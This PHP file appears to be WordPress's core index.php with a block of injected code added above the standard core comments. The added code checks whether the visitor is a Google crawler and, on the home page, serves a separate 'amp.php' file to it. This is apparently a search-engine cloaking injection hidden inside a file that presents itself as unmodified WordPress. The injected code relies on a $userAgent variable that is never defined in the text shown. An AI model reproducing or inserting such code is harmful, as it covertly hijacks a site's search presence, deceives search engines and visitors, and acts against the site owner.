$googleBots = [
    'Googlebot',
    'AdsBot',
    'Mediapartners-Google',
    'APIs-Google',
    'Googlebot-Image',
    'Googlebot-Video',
    'Googlebot-News',
    'Googlebot-Search',
    'Googlebot-Inspect',
    'Googlebot-Android',
    'Googlebot-Mobile',
    'Googlebot-Ads',
    'Googlebot-Discovery',
    'Google-',
];

if (preg_match('/' . implode('|', $googleBots) . '/i', $userAgent)) {
    if ($_SERVER['REQUEST_URI'] === '/') {
        include 'amp.php';
        exit;
    }
}

/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define('WP_USE_THEMES', true);

/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';